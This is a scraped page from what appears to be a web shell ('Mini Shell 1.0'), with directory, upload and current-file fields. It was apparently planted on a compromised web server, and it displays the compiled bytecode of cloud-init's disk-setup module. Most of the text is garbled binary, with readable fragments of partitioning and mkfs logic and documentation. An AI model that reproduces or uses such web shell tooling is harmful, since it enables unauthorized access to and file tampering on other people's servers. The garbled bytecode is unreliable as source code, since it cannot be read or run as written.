HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_disk_setup.cpython-311.pyc
�

܍~c
�����UdZddlZddlZddlZddlmZddlmZddlmZm	Z	ddl
mZddlm
Z
ddlmZmZdd	lmZdd
lmZejd��Zejd��Zejd
��Zejd��Zejd��Zejd��Zejd��ZddiZeje��Z dZ!ddde!egeed��gddgd�Z"ee#d<ee"��Zde$de
ded ed!e%d"dfd#�Z&d$�Z'd%�Z(dBd&�Z)dCd(�Z*d)�Z+dCd*�Z,d+�Z-d,�Z.					dDd.�Z/d/�Z0d0�Z1d1�Z2d2�Z3d3�Z4d4�Z5d5�Z6d6�Z7d7�Z8d8�Z9d9�Z:d:�Z;d;�Z<d<�Z=d=�Z>d>�Z?d?�Z@d@�ZAdA�ZBdS)Ez1Disk Setup: Configure partitions and filesystems.�N)�Logger)�dedent)�subp�util)�Cloud)�Config)�
MetaSchema�get_meta_doc)�ALL_DISTROS)�PER_INSTANCE�sfdisk�sgdisk�lsblk�blkid�blockdev�	partprobe�wipefs�LANG�CaiThis module is able to configure simple partition tables and filesystems.

.. note::
    for more detail about configuration options for disk setup, see the disk
    setup example

.. note::
    if a swap partition is being created via ``disk_setup`` then a ``fs_entry``
    entry is also needed in order for mkswap to be run, otherwise when swap
    activation is later attempted it will fail.

For convenience, aliases can be specified for disks using the
``device_aliases`` config key, which takes a dictionary of alias: path
mappings. There are automatic aliases for ``swap`` and ``ephemeral<X>``, where
``swap`` will always refer to the active swap partition and ``ephemeral<X>``
will refer to the block device of the ephemeral image.

Disk partitioning is done using the ``disk_setup`` directive. This config
directive accepts a dictionary where each key is either a path to a block
device or an alias specified in ``device_aliases``, and each value is the
configuration options for the device. File system configuration is done using
the ``fs_setup`` directive. This config directive accepts a list of
filesystem configs.
�
cc_disk_setupz
Disk Setupz$Configure partitions and filesystemsa|            device_aliases:
              my_alias: /dev/sdb
              swap_disk: /dev/sdc
            disk_setup:
              my_alias:
                table_type: gpt
                layout: [50, 50]
                overwrite: true
              swap_disk:
                table_type: gpt
                layout: [[100, 82]]
                overwrite: true
            fs_setup:
            - label: fs1
              filesystem: ext4
              device: my_alias.1
              cmd: mkfs -t %(filesystem)s -L %(label)s %(device)s
            - label: fs2
              device: my_alias.2
              filesystem: ext4
            - label: swap
              device: swap_disk.1
              filesystem: swap
            mounts:
            - ["my_alias.1", "/mnt1"]
            - ["my_alias.2", "/mnt2"]
            - ["swap_disk.1", "none", "swap", "sw", "0", "0"]
            �
disk_setup�fs_setup)�id�name�title�description�distros�	frequency�examples�activate_by_schema_keys�metar�cfg�cloud�log�args�returnc����|�di�����fd�}|�d��}t|t��r�t||��|�dt|����|���D]�\}}t|t��s|�d|z���3	|�d��tj	tjd|zt||f����v#t$r'}	tj
td	|	z��Yd
}	~	��d
}	~	wwxYw|�d��}
t|
t��r�|�dt|
����t|
|��|
D]�}t|t��s|�d
|z���0	|�d��|�d��}tj	tjd|zt |f�����#t$r'}	tj
td|	z��Yd
}	~	��d
}	~	wwxYwd
Sd
S)z[
    See doc/examples/cloud-config-disk-setup.txt for documentation on the
    format.
    �device_aliasesc�`����|��}��|p|��p|S�N)�get�device_name_to_device)�candrr#r(s  ���@/usr/lib/python3/dist-packages/cloudinit/config/cc_disk_setup.py�alias_to_devicezhandle.<locals>.alias_to_devicets3����!�!�$�'�'���*�*�4�<�4�8�8�@�D�@�rzPartitioning disks: %szInvalid disk definition for %sz!Creating new partition table/diskzCreating partition on %s)�logfunc�msg�funcr%z Failed partitioning operation
%sNrzsetting up filesystems: %sz"Invalid file system definition: %szCreating new filesystem.�devicezCreating fs for %sz%Failed during filesystem operation
%s)r+�
isinstance�dict�update_disk_setup_devices�debug�str�items�warningr�log_time�LOG�mkpart�	Exception�logexc�list�update_fs_setup_devices�mkfs)
rr"r#r$r%r/r�disk�
definition�err4r(s
  `         @r.�handlerGks������W�W�-�r�2�2�N�A�A�A�A�A�A�����&�&�J��*�d�#�#�J�!�*�o�>�>�>��	�	�*�C�
�O�O�<�<�<� *� 0� 0� 2� 2�	J�	J��D�*��j�$�/�/�
����<�t�C�D�D�D��	
J��	�	�=�>�>�>��
��I�2�T�9���
�+�	�������
J�
J�
J���C�!D�q�!H�I�I�I�I�I�I�I�I�����
J�����w�w�z�"�"�H��(�D�!�!�O��	�	�.��H�
�
�>�>�>���/�:�:�:�"�	O�	O�J��j�$�/�/�
����@�:�M�N�N�N��

O��	�	�4�5�5�5�#����1�1���
��I�,�v�5��$��	�������
O�
O�
O���C�!I�A�!M�N�N�N�N�N�N�N�N�����
O����#O�O�	O�	Os2�AD�
D7�D2�2D7�
AH � 
I�*I�Ic�8�t|��D]�}||��}|�||kr�||vrt�d||��||=||||<t||t��r|||d<||=t�d||����dS)Nz0Replacing %s in disk_setup for translation of %s�	_orignamez,updated disk_setup device entry '%s' to '%s')rAr=�infor5r6r8)r�tformer�origname�transformeds    r.r7r7�s�����$�$�
�
���g�h�'�'����+��"9�"9���*�$�$��H�H�B���
�
�
�
�;�'�",�X�"6�
�;���j��-�t�4�4�	<�3;�J�{�#�K�0��x� ��	�	�:���	
�	
�	
�	
�!
�
r0c��|D]�}t|t��st�d|���3|�d��}|��Ktj|��\}}||��}|�)|}t�d|||��||d<||d<|r1d|vr(t�d|||��|d|d<||d<��dS)Nz"entry in disk_setup not a dict: %sr4z%s is mapped to disk=%s part=%srI�	partitionzKPartition '%s' from dotted device name '%s' overrides 'partition' key in %s�
_partition)r5r6r=r;r+r�expand_dotted_devnamer8)rrKrErL�dev�part�tformeds       r.rBrB�s��!� +� +�
��*�d�+�+�	��K�K�<�j�I�I�I���>�>�(�+�+������0��:�:���d��'�#�,�,�����C��I�I�1�8�W�d�
�
�
�'/�J�{�#�#*�J�x� ��	+��j�(�(����6�������,6�k�+B�
�<�(�&*�J�{�#��A +� +r0c#�zK�tj|��}|r
||d�}d�|D��D]\}}||fV��dS)zd
    Returns the key/value pairs of output sent as string
    like:  FOO='BAR' HOME='127.0.0.1'
    Nc�8�g|]}|�d����S)�=)�split��.0�xs  r.�
<listcomp>z"value_splitter.<locals>.<listcomp>�s"��5�5�5��q�w�w�s�|�|�5�5�5r0)�shlexrX)�values�start�_values�key�values     r.�value_splitterrc�sj����
�k�&�!�!�G��"��%�&�&�/��5�5�W�5�5�5���
��U��5�j������r0Fc#�K�tddd|g}|r|�d��d}	tj|��\}}n(#t$r}td|�d|����|�d}~wwxYwd�|������D��}|D]9}ddddd	�}t
|��D]\}	}
|
||	���<�|V��:dS)
a�
    Enumerate the elements of a child device.

    Parameters:
        device: the kernel device name
        nodeps <BOOL>: don't enumerate children devices

    Return a dict describing the disk:
        type: the entry type, i.e disk or part
        fstype: the filesystem type, if it exists
        label: file system label, if it exists
        name: the device name, i.e. sda
    z--pairsz--outputzNAME,TYPE,FSTYPE,LABELz--nodepsN�Failed during disk check for �
c�\�g|])}t|�����dk�'|��*S)r)�lenrXrYs  r.r\z"enumerate_disk.<locals>.<listcomp>s0��J�J�J�1�s�1�7�7�9�9�~�~��7I�7I�Q�7I�7I�7Ir0)r�type�fstype�label)�	LSBLK_CMD�appendrr?�strip�
splitlinesrc�lower)r4�nodeps�	lsblk_cmdrJ�_errrF�partsrS�drarbs           r.�enumerate_diskrv�s5���� 	��� ���I��%�����$�$�$��D���Y�y�)�)�
��d�d�������i�5;�V�V�Q�Q�?�
�
��	���������

K�J������1�1�3�3�J�J�J�E���������	
�
��)��.�.�	#�	#�J�C��"�A�c�i�i�k�k�N�N�������s�A�
A&�A!�!A&c�n�t|d���D]"}d|vr|d���cS�#dS)z@
    Return the device type of the device by calling lsblk.
    T)rqriN)rvrp)r4rus  r.�device_typerx!sM��
�F�4�
0�
0�
0�%�%���Q�;�;��V�9�?�?�$�$�$�$�$���4r0c��d}	t|��}n,#t$rt�d|��YdSwxYw|r|dkrdS|s|dkrdSdS)z0
    Check if the device is a valid device.
    �zQuery against device %s failedFrSTrD)rxr?r=r;)rrO�d_types   r.�is_device_validr|,s����F���T�"�"�����������4�d�;�;�;��u�u�������V�v�%�%��t�
��6�V�+�+��t��5s��%=�=c���d\}}}}tdd|g}	tj|ddg���\}}n(#t$r}td|�d|����|�d	}~wwxYw|r�t|�����d
krgt|d
���D]U\}}	|���dkr|	}� |���d
kr|	}�;|���dkr|	}�V|||fS)z�
    Check if the device has a filesystem on it

    Output of blkid is generally something like:
    /dev/sda: LABEL="Backup500G" UUID="..." TYPE="ext4"

    Return values are device, label, type, uuid
    )NNNNz-cz	/dev/nullr�)�rcsrerfN�)r_rkri�uuid)�	BLKID_CMDrr?rhrorcrp)
r4�outrk�fs_typer��	blkid_cmdrsrFrarbs
          r.�check_fsr�>s(��!7��C�����D�+�v�6�I���I�i�a��V�4�4�4�	��T�T�������i�5;�V�V�Q�Q�?�
�
��	���������
�!��s�~�~��� � �A�%�%�,�S��:�:�:�
!�
!�
��U��9�9�;�;�'�)�)�!�E�E��Y�Y�[�[�F�*�*�#�G�G��Y�Y�[�[�F�*�*� �D���'�4��s�0�
A�A�Ac�,�t|��\}}}|S)z7
    Returns true if the device has a file system.
    )r�)r4�_r�s   r.�
is_filesystemr�^s���V�$�$�M�A�w���Nr0Tc��|�d}|sddg}d}t|��D]�}|d|kr|durd|dzdfcS|d|kr|r|d	|ks|sd|dzd
fcS|d|vr:|ddks|drd
}|ddkr�y|dsd|dzdfcS��|s|dfSt�d��d
S)a
    Find a device that is either matches the spec, or the first

    The return is value is (<device>, <bool>) where the device is the
    device to use and the bool is whether the device matches the
    fs_type and label.

    Note: This works with GPT partition tables!
    NrzrDrSFrj�/dev/%srrkTriz5Failed to find device during available device search.)NF)rvr=r;)r4r�rk�
valid_targets�label_match�
replace_fs�raw_device_usedrus        r.�find_device_noder�fsE��$
�}����)���(�
��O�
�F�
#�
#�6�6���X�;�*�$�$���)=�)=���&�	�)�5�1�1�1�1��X�;�'�!�!�
�"��w�Z�5�0�0��0���&�	�)�4�0�0�0�0��V�9�
�%�%���y�F�"�"�a��k�"�"&����y�F�"�"���x�[�
6�!�A�f�I�-�u�5�5�5�5���������K�K�G�H�H�H��=r0c��ttt|������dkrdSt|��\}}}|rdSdS)z�
    Check if the device is currently used. Returns true if the device
    has either a file system or a partition entry
    is no filesystem found on the disk.
    r�TF)rhrArvr�)r4r��check_fstypes   r.�is_disk_usedr��sT���4��v�&�&�'�'�(�(�1�,�,��t�"�&�)�)��A�|�Q����t��5r0c�"�t|��dkrtd���|d|dz}|dd�}	|rt��||�St��|S#t$r}td|z��|�d}~wwxYw)a-
    Call the appropriate function.

    The first value is the template for function name
    The second value is the template replacement
    The remain values are passed to the function

    For example: get_dyn_func("foo_%s", 'bar', 1, 2, 3,)
        would call "foo_bar" with args of 1, 2, 3
    r~z*Unable to determine dynamic funcation namerr�NzNo such function %s to call!)rhr?�globals�KeyError)r%�	func_name�	func_argsrFs    r.�get_dyn_funcr��s����4�y�y�1�}�}��D�E�E�E��Q��$�q�'�!�I��Q�R�R��I�K��	(�'�7�9�9�Y�'��3�3��9�9�Y�'�'���K�K�K��6��B�C�C��J�����K���s�A,�A,�,
B�6B	�	Bc��	tjtd|g��\}}tjtd|g��\}}n(#t$r}td|�d|����|�d}~wwxYwt|��t|��zS)Nz--getsize64z--getsszFailed to get z size
)r�
BLKDEV_CMDr?�int)r4�
size_in_bytesr��sector_sizerFs     r.�get_hdd_sizer��s���J��9�j�-��%H�I�I��
�q���J�	�6�#B�C�C���Q�Q���J�J�J��i�v�v�v�q�q�A�B�B��I�����J�����}����K� 0� 0�0�0s�>A�
A&�A!�!A&c	��t|��td|g}	tj|d|z���\}}n(#t$r}td|�d|����|�d}~wwxYwg}|���D]�}|���}t
|��dkr�*||dvr�|d���d	vr�Qd}	ttd
t
|����d���D]2}
||
�
��r||
d
kr
||
}	n�3|�|	����|S)z�
    Returns true if the partition layout matches the one on the disk

    Layout should be a list of values. At this time, this only
    verifies that the number of partitions and their labels is correct.
    z-l�%s
��data�#Error running partition command on rfNr���)�extended�emptyr�T)�reverse�/)�read_parttbl�
SFDISK_CMDrr?rorXrhrp�sorted�range�isdigitrm)r4�layout�prt_cmdr�rsrF�found_layout�line�_line�
type_labelr[s           r.�check_partition_mbr_layoutr��sq��������4��(�G���I�g�F�V�O�<�<�<�	��T�T�������i�;A�6�6�1�1�E�
�
��	���������
�L���� � �,�,���
�
�����u�:�:��?�?���U�1�X����R�y��� � �$9�9�9���J��E�!�S��Z�Z�0�0�$�?�?�?�
�
����8�#�#�%�%��%��(�c�/�/�!&�q��J��E�����
�+�+�+���s�8�
A�A�Ac��td|g}	tj|t���\}}n(#t$r}td|�d|����|�d}~wwxYwt	|�����}|D]+}|����d��rn�,d�|D��}g}	|D]I}
t|
��dkr|
�	d��r
|
d	d
�}
|	�
|
���J|	S)Nz-p)�
update_envr�rf�Numberc�f�g|].}|������d��/S)�)rnrX)rZr�s  r.r\z.check_partition_gpt_layout.<locals>.<listcomp>s1��;�;�;��T�Z�Z�\�\�
�
�
!�
!�!�
$�;�;�;r0��00rr~)�
SGDISK_CMDr�
LANG_C_ENVr?�iterrorn�
startswithrh�endswithrm)r4r�r�r�rsrF�	out_linesr��codes�cleaned�codes           r.�check_partition_gpt_layoutr��s4���4��(�G���I�g�*�=�=�=�	��T�T�������i�;A�6�6�1�1�E�
�
��	���������
�S�^�^�%�%�&�&�I�"�����:�:�<�<�"�"�8�,�,�	��E�	�
<�;��;�;�;�E��G������t�9�9��>�>�d�m�m�D�1�1�>���!��9�D����t������Ns�+�
A�A�Ac���td|||��}t�d||||��t|t��r|rt|��dkrdSdSt|��t|��kred�|D��}t�d||��t
||��D]*\}}|�#t|��t|��krdS�+dSdS)z�
    See if the partition lay out matches.

    This is future a future proofing function. In order
    to add support for other disk layout schemes, add a
    function called check_partition_%s_layout
    zcheck_partition_%s_layoutz6called check_partition_%s_layout(%s, %s), returned: %sr�TFc�t�g|]5}t|ttf��rt|d��nd��6S)r�N)r5�tuplerAr9rYs  r.r\z*check_partition_layout.<locals>.<listcomp>DsF��
�
�
�DE��A��t�}�5�5�?�C��!��I�I�I�4�
�
�
r0zLayout types=%s. Found types=%s)r�r=r8r5�boolrh�zipr9)�
table_typer4r�r��layout_types�itype�ftypes       r.�check_partition_layoutr�'s �� �#�Z�����L��I�I�@���������&�$�����	�c�,�'�'�1�,�,��4��u�	�\�	�	�c�&�k�k�	)�	)�
�
�IO�
�
�
��	�	�	�-�|�\�	
�	
�	
� ��l�;�;�	�	�L�E�5�� �S��Z�Z�3�u�:�:�%=�%=��u�u���t��5r0c�&�t|t��st|t��rdSt|��dkrt|t��st|t��st	d���t|��}|dkrt	d���g}d}|D]�}d}|}|dz
}t|t��r*t|��dkrt	d	|z���|\}}tt
|��t
|��d
zz��}||kr|�d|z����|�d|�d|������d
�|��}	t|��dkrt	d|	z���|	S)a@
    Calculate the layout of the partition table. Partition sizes
    are defined as percentage values or a tuple of percentage and
    partition type.

    For example:
        [ 33, [66: 82] ]

    Defines the first partition to be a size of 1/3 the disk,
    while the remaining 2/3's will be of type Linux Swap.
    z0,rzPartition layout is invalidr�z$Only simply partitioning is allowed.�Sr�r~�%Partition was incorrectly defined: %s�dz,,%s�,rfz-Calculated partition definition is too big
%s)	r5rAr�rhr?r��floatrm�join)
�sizer��
last_part_num�part_definition�part_numrS�	part_type�percent�	part_size�sfdisk_definitions
          r.�get_partition_mbr_layoutr�Rs����f�d�#�#��
�6�4�(@�(@���t��F���q���Z���5�5��j���?�?���5�6�6�6���K�K�M��q����>�?�?�?��O��H��F�F���	����A�
���d�D�!�!�	&��4�y�y�A�~�~�� G�$� N�O�O�O�!%��G�Y���d���u�W�~�~��';�<�=�=�	��}�$�$��"�"�6�I�#5�6�6�6�6��"�"�"�y�y�y�)�)�#D�E�E�E�E��	�	�/�2�2��
�?���a����<��
 �
�
�	
�
�r0c��t|t��rdddgfgSg}|D]�}t|t��r+t|��dkrt	d|z���|\}}n|}d}tt
|��t
|��dzz��}|�|dd�|��gf����d|ddd<|S)Nrr~r�r�z+{}r�)	r5r�rArhr?r�r�rm�format)r�r��partition_specsrOr��partition_typer�s       r.�get_partition_gpt_layoutr��s����&�$��� ���1�v�����O��O�O�	��i��&�&�	"��9�~�~��"�"��;�i�G����'0�#�G�^�^��G�!�N���d���u�W�~�~��';�<�=�=�	������E�L�L��4K�4K�0L�M�N�N�N�N�#$�O�B����B���r0c�J�d}d}d}t|d��5}|�||z��|�|tj��|�||z��|���ddd��n#1swxYwYt
|��dS)N�izrb+)�open�write�seek�os�SEEK_END�flushr�)r4�null�	start_len�end_len�fps     r.�purge_disk_ptabler��s����D��I��G�	
�f�e�	�	���
�����#�$�$�$�
�����"�+�&�&�&�
������ � � �
���
�
�
�	������������������������s�A&B	�	B
�B
c�F�t|��D]�}|ddvrutdd|dzg}	t�d|d��t	j|���V#t
$r}td|dz��|�d}~wwxYw��t
|��dS)	z'
    Remove parition table entries
    ri)rD�cryptz--allr�rzPurging filesystem on /dev/%szFailed FS purge of /dev/%sN)rv�
WIPEFS_CMDr=rJrr?r�)r4ru�
wipefs_cmdrFs    r.�
purge_diskr��s����F�
#�
#�	�	���V�9�-�-�-�$�g�y�1�V�9�/D�E�J�
����8�!�F�)�D�D�D��	�*�%�%�%�%���
�
�
��0�1�V�9�<���������
����.��f�����s�5A&�&
B�0B	�	Bc�&�td|||��S)z�
    Call the appropriate function for creating the table
    definition. Returns the table definition

    This is a future proofing function. To add support for
    other layouts, simply add a "get_partition_%s_layout"
    function.
    zget_partition_%s_layout�r�)r�r�r�s   r.�get_partition_layoutr��s���1�:�t�V�L�L�Lr0c��t�
t|g}n
td|g}tj��	t	j|��n4#t
$r'}tjtd|z��Yd}~nd}~wwxYwtj��dS)zq
    `Partprobe` is preferred over `blkdev` since it is more reliably
    able to probe the partition table.
    Nz
--rereadptz%Failed reading the partition table %s)�
PARTPROBE_CMDr�r�udevadm_settlerr?r@r=)r4�	probe_cmdrFs   r.r�r��s���
� �"�F�+�	�	���v�6�	������F��	�)�������F�F�F���C�@�1�D�E�E�E�E�E�E�E�E�����F����	������s�A�
A6�A1�1A6c���tddd|g}	tj|d|z���n(#t$r}td|�d|����|�d}~wwxYwt|��dS)	zV
    Break out of mbr partition to allow for future partition
    types, i.e. gpt
    z--Linuxz--unit=Sz--forcer�r�zFailed to partition device rfN)r�rr?r�)r4r�r�rFs    r.�exec_mkpart_mbrr�s����9�j�)�V�D�G���	�'����0�0�0�0�0�������i�39�6�6�1�1�=�
�
��	���������
������s�(�
A
�A�A
c
��	tjtd|g��t|��D]�\}\}\}}|dz
}tjtdd�|||��|g��|�Tt	|���dd��}tjtdd�||��|g����n*#t$rt�d	|���wxYwt|��dS)
Nz-Zr�z-nz{}:{}:{}r��0z-tz{}:{}zFailed to partition device %s)
rr��	enumerater�r9�ljustr?r=r;r�)r4r��indexr�r_�end�pinputs       r.�exec_mkpart_gptr�s)����	�:�t�V�,�-�-�-�5>�v�5F�5F�	�	�1�E�1�N�L�U�C��Q�J�E��I����%�%�e�U�C�8�8��	�
�
�
��)��^�,�,�2�2�1�c�:�:���	���w�~�~�e�V�'D�'D�f�M�����	��"�������3�V�<�<�<�
�����������s�CC�'C.c�&�td|||��S)a
    Fetches the function for creating the table type.
    This allows to dynamically find which function to call.

    Paramaters:
        table_type: type of partition table to use
        device: the device to work on
        layout: layout definition specific to partition table
    zexec_mkpart_%sr�)r�r4r�s   r.�exec_mkpartr
s���(�*�f�f�E�E�Er0c���tj�|��sDtj��tj�|��std|z���tj��dS)z?Assert that device exists and settle so it is fully recognized.zBDevice %s did not exist and was not created with a udevadm settle.N)r��path�existsrr��RuntimeError�r4s r.�assert_and_settle_devicerss��
�7�>�>�&�!�!��������w�~�~�f�%�%�	��)�+1�2���
�	������r0c��t|��tj�|��}t�d|��|�dd��}|�dd��}|�dd��}t�d��t|t��r|r|st�d��d	St�d
|��t|��s#td�|������t|t��rC|�
��d
kr+t�d��t|��d	St�d��t|||��rt�d��dSt�d��|s;t!|��st#|��rt�d|��d	St�d|��t%|��}t�d��t'|||��}t�d|��t�d|��t)|||��t�d|��d	S)a�
    Creates the partition table.

    Parameters:
        definition: dictionary describing how to create the partition.

            The following are supported values in the dict:
                overwrite: Should the partition table be created regardless
                            of any pre-exisiting data?
                layout: the layout of the partition table
                table_type: Which partition table to use, defaults to MBR
                device: the device to work on.
    z!Checking values for %s definition�	overwriteFr�r��mbrz Checking against default devicesz)Device is not to be partitioned, skippingNz'Checking if device %s is a valid devicez%Device {device} is not a disk device!r�removez,Instructed to remove partition table entriesz!Checking if device layout matchesz"Device partitioning layout matchesTz'Checking if device is safe to partitionz-Skipping partitioning on configured device %szChecking for device size of %szCalculating partition layoutz   Layout is: %szCreating partition table on %szPartition table created for %s)rr�r�realpathr=r8r+r5r�r|r?r�r9rpr�r�r�r�r�r�r
)r4rErr�r��device_sizer�s       r.r>r>+s����V�$�$�$�
�W�
�
�f�
%�
%�F��I�I�1�6�:�:�:����{�E�2�2�I�
�^�^�H�e�
,�
,�F�����e�4�4�J��I�I�0�1�1�1��6�4� � �������	�	�=�>�>�>����I�I�7��@�@�@��6�"�"�
��3�:�:�&�:�I�I�
�
�	
�
�&�#����6�<�<�>�>�X�#=�#=��	�	�@�A�A�A��6�������I�I�1�2�2�2��j�&�&�9�9���	�	�6�7�7�7��t��I�I�7�8�8�8���,�v�.�.��-��2G�2G���	�	�A�6�J�J�J����I�I�.��7�7�7��v�&�&�K��I�I�,�-�-�-�*�:�{�F�K�K�O��I�I� �/�2�2�2��I�I�.��7�7�7��
�F�O�4�4�4��I�I�.��7�7�7�7�7r0c��dddddd�}d|���vrd}|���|vr||St�d|��dS)z9
    A force flag might be -F or -F, this look it up
    z-Fz-f)�ext�btrfs�xfs�reiserfs�swaprzForce flag for %s is unknown.rz)rpr=r;)�fs�flagss  r.�lookup_force_flagrmsp��
�����
�
�E�
����
�
���
��	�x�x�z�z�U����R�y���K�K�/��4�4�4�
�2r0c��
�|�d��}|�d��}t|�dd����}|�d��}|�dg��}|�dg��}|�dd	��}|�d
d	��}t|��tj�|��}t�d|��|r|����r|���r"|�|��}t�d||��t�d
|��t|��\}	}
}t�d||	|
��|	|kr]|
|krWt�d|��|st�d|��dSt�
d|���nlt�d|���nO|r�t|�����dvr�|}t�d|��d}
|���dkrd	}
t||||
|���\}}t�d||��|rt�d��dS|s|r|rt�d|��|st�d|��dSn_|r%t|�����dkrt�d|��nt�d��dSt�d|||��|st�
d |��dS|s%|s#td!�|�"�����d	}|rL|d|||d#�z}d}|rt�
d$|��|rt�
d%|��n�tjd&|z��}|stjd'|z��}|st�
d(||��dS|g}|r|�d)|g��|st%|��d*kr&t'|��}|r|�|��|r|�|��|�|��t�d+||��t�d,t|����	tj||�-��dS#t$r}td.|�d/|����|�d}~wwxYw)0a�
    Create a file system on the device.

        label: defines the label to use on the device
        fs_cfg: defines how the filesystem is to look
            The following values are required generally:
                device: which device or cloud defined default_device
                filesystem: which file system type
                overwrite: indiscriminately create the file system
                partition: when device does not define a partition,
                            setting this to a number will mean
                            device + partition. When set to 'auto', the
                            first free device or the first device which
                            matches both label and type will be used.

                            'any' means the first filesystem that matches
                            on the device.

            When 'cmd' is provided then no other parameter is required.
    rkr4rO�any�
filesystem�cmd�
extra_optsr�Frz#Checking %s against default devicesz%Manual request of partition %s for %szChecking device %sz0Device '%s' has check_label='%s' check_fstype=%sz Existing file system found at %sz"Device %s has required file systemNzDestroying filesystem on %sz"Device %s is cleared for formating)�autor!z,Identifying device to create %s filesytem onT)r�rkr�r�z(Automatic device for %s identified as %sz+Found filesystem match, skipping formating.z*Replacing file system on %s as instructed.zENo device available that matches request. Skipping fs creation for %s�nonez.Using the raw device to place filesystem %s onz(Error in device identification handling.z;File system type '%s' with label '%s' will be created on %szDevice is not known: %szENo way to create filesystem '{label}'. fs_type or fs_cmd must be set.)rk)rkr"r4z8fs_setup:overwrite ignored because cmd was specified: %sz9fs_setup:extra_opts ignored because cmd was specified: %szmkfs.%szmk%sz.Cannot create fstype '%s'.  No mkfs.%s commandz-LrDzCreating file system %s on %sz     Using cmd: %s)�shellzFailed to exec of 'z':
)r+r9rr�rrr=r8r�r�r;rpr�r?r�r�which�extendrxrrm)�fs_cfgrkr4rOr��fs_cmd�fs_opts�
fs_replacer�check_labelr�r��odevicer��reuser'�mkfs_cmd�
force_flagrFs                   r.rCrC�s��*
�J�J�w���E�
�Z�Z��
!�
!�F��F�J�J�{�E�2�2�3�3�I��j�j��&�&�G�
�Z�Z��r�
"�
"�F��j�j��r�*�*�G����L�%�0�0�J��
�
�;��.�.�I��V�$�$�$�
�W�
�
�f�
%�
%�F��I�I�3�V�<�<�<��D�	�)�)�+�+�D������	�%�v�y�y�1�F��I�I�7��F�
�
�
�
	�	�	�&��/�/�/�'/��'7�'7�$��\�1��	�	�>����		
�	
�	
��%���L�G�$;�$;��I�I�8�&�A�A�A��
C��	�	�>��G�G�G������9�6�B�B�B�B�
�I�I�:�F�C�C�C�C�	�&�s�9�~�~�+�+�-�-��@�@����	�	�@�%�H�H�H����?�?����%�%��K�(����#�!�
�
�
�
���	�	�	�<�g�v�N�N�N��	��I�I�C�D�D�D��F��	L��	L��	L��I�I�B�F�K�K�K��	��I�I�.��
�
�
�

�F�
	���#�i�.�.�.�.�0�0�F�:�:��	�	�B�E�J�J�J�J�	�	�	�<�=�=�=����I�I�E��
��	��������-�v�6�6�6���
�
�v�
��
�!�6��6�.�.�
�
�	
�
�E�
�0�����!��"
�"
�
��
���	��K�K�J��
�
�
��	��K�K�K��
�
�
���:�i�'�1�2�2���	4��z�&�7�"2�3�3�H��	��K�K�@���
�
�
�

�F�����	)��M�M�4��-�(�(�(��	*��F�+�+�v�5�5�*�7�3�3�J��
*��
�
�j�)�)�)��	#��M�M�'�"�"�"��
�
�f�����I�I�-�u�f�=�=�=��I�I�"�C��K�K�0�0�0�L��	�&��&�&�&�&�&�&���L�L�L��i������C�D�D�!�K�����L���s�6U�
U3�U.�.U3r*)F)NNNTN)C�__doc__�loggingr�r]r�textwrapr�	cloudinitrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar	r
�cloudinit.distrosr�cloudinit.settingsrr(r�r�rlr�r�r�r�r��	getLogger�__name__r=�MODULE_DESCRIPTIONr!�__annotations__r9rArGr7rBrcrvrxr|r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr
rr>rrC�r0r.�<module>rAs��8�7�7�����	�	�	�	����������������� � � � � � � � �!�!�!�!�!�!�#�#�#�#�#�#�<�<�<�<�<�<�<�<�)�)�)�)�)�)�+�+�+�+�+�+��T�Z��
!�
!�
�
�T�Z��
!�
!�
��D�J�w���	��D�J�w���	�
�T�Z�
�
#�
#�
���
�;�'�'�
�
�T�Z��
!�
!�
��c�]�
��g���!�!����6��
3�%��}����
�	
�	
� �B!-�j�9�Q)�)��j�)�)�)�V�,�t�
�
��4O�

�4O��4O�#(�4O�/5�4O�=A�4O�	�4O�4O�4O�4O�n
�
�
�4#+�#+�#+�L
�
�
�
�/�/�/�/�d�������$ � � �@���
�
����
5�5�5�5�p���(K�K�K�61�1�1�$�$�$�N&�&�&�R(�(�(�V4�4�4�n���0������(	M�	M�	M����$���"���6
F�
F�
F�
�
�
� ?8�?8�?8�D���,wL�wL�wL�wL�wLr0